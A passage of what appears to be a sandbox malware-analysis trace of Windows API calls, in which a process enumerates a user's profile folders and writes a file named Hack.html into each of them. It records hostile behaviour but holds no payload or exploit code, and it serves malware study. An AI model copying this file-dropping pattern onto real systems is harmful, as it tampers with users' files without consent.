out: lpFindFileData=0x39eafc) returned 1 [0082.946] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0082.946] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0082.946] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0082.946] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0082.947] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0082.947] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0082.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0082.947] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0082.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0082.947] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites", lpFilePart=0x0) returned 0x27 [0082.947] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\", lpFilePart=0x0) returned 0x28 [0082.947] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a168 [0082.948] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0082.948] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0082.948] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0082.948] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0082.948] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0082.948] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0082.949] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0082.949] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0082.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0082.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0082.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0082.949] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", lpFilePart=0x0) returned 0x2d [0082.949] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\", lpFilePart=0x0) returned 0x2e [0082.950] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a168 [0082.950] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.950] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.950] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.951] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.951] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0082.951] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0082.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0082.951] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0082.951] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0082.951] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links", lpFilePart=0x0) returned 0x2d [0082.951] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\", lpFilePart=0x0) returned 0x2e [0082.951] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a168 [0082.952] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.952] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.952] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.952] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.952] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0082.953] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0082.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0082.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0082.953] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Hack.html", lpFilePart=0x0) returned 0x37 [0082.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0082.953] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0082.956] GetFileType (hFile=0x174) returned 0x1 [0082.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0082.956] GetFileType (hFile=0x174) returned 0x1 [0082.956] WriteFile (in: hFile=0x174, lpBuffer=0x2858400*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x2858400*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0082.957] CloseHandle (hObject=0x174) returned 1 [0082.958] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0082.958] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x3a [0082.958] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\", lpFilePart=0x0) returned 0x3b [0082.958] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a168 [0082.964] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.965] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.965] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.965] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.965] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.965] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.965] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0082.965] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0082.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0082.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0082.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0082.967] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x3a [0082.967] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\", lpFilePart=0x0) returned 0x3b [0082.967] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a168 [0082.968] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.968] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.968] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.968] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.969] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.969] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.969] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0082.969] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0082.970] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0082.970] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0082.970] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Hack.html", lpFilePart=0x0) returned 0x44 [0082.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0082.971] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0082.972] GetFileType (hFile=0x174) returned 0x1 [0082.972] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0082.972] GetFileType (hFile=0x174) returned 0x1 [0082.972] WriteFile (in: hFile=0x174, lpBuffer=0x285d6b8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x285d6b8*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0082.974] CloseHandle (hObject=0x174) returned 1 [0082.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0082.974] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x34 [0082.974] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\", lpFilePart=0x0) returned 0x35 [0082.974] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a168 [0082.985] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.985] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.986] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.986] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.986] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.986] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.986] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.986] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0082.986] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0082.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0082.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0082.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0082.988] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites", lpFilePart=0x0) returned 0x34 [0082.988] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\", lpFilePart=0x0) returned 0x35 [0082.988] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a168 [0082.989] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.990] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.990] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.990] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.990] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.990] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.991] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0082.992] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0082.992] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0082.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0082.993] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0082.993] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\Hack.html", lpFilePart=0x0) returned 0x3e [0082.993] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0082.994] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0082.995] GetFileType (hFile=0x174) returned 0x1 [0082.995] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0082.995] GetFileType (hFile=0x174) returned 0x1 [0082.996] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Hack.html", lpFilePart=0x0) returned 0x31 [0082.997] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0082.997] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0082.997] GetFileType (hFile=0x174) returned 0x1 [0082.997] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0082.997] GetFileType (hFile=0x174) returned 0x1 [0082.998] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0082.998] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", lpFilePart=0x0) returned 0x23 [0082.998] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\", lpFilePart=0x0) returned 0x24 [0082.998] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a168 [0082.999] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0082.999] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0082.999] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0082.999] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0082.999] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0082.999] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0082.999] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0083.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0083.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0083.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0083.000] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links", lpFilePart=0x0) returned 0x23 [0083.000] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\", lpFilePart=0x0) returned 0x24 [0083.000] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a168 [0083.000] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.000] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.001] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.001] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.001] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.001] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0083.001] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0083.001] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0083.001] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0083.002] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Hack.html", lpFilePart=0x0) returned 0x2d [0083.002] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0083.002] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0083.002] GetFileType (hFile=0x174) returned 0x1 [0083.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0083.002] GetFileType (hFile=0x174) returned 0x1 [0083.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0083.003] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", lpFilePart=0x0) returned 0x2c [0083.003] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\", lpFilePart=0x0) returned 0x2d [0083.004] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0xffffffff [0083.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed88) returned 1 [0083.005] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Hack.html", lpFilePart=0x0) returned 0x36 [0083.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0083.005] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\local settings\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0083.006] GetFileType (hFile=0x174) returned 0x1 [0083.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0083.006] GetFileType (hFile=0x174) returned 0x1 [0083.007] WriteFile (in: hFile=0x174, lpBuffer=0x286c858*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x286c858*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0083.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0083.008] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23 [0083.008] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\", lpFilePart=0x0) returned 0x24 [0083.008] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a168 [0083.009] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.009] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.009] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.009] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.009] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.009] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.009] FindNextFileW (in: hFindFile=0x59a168, 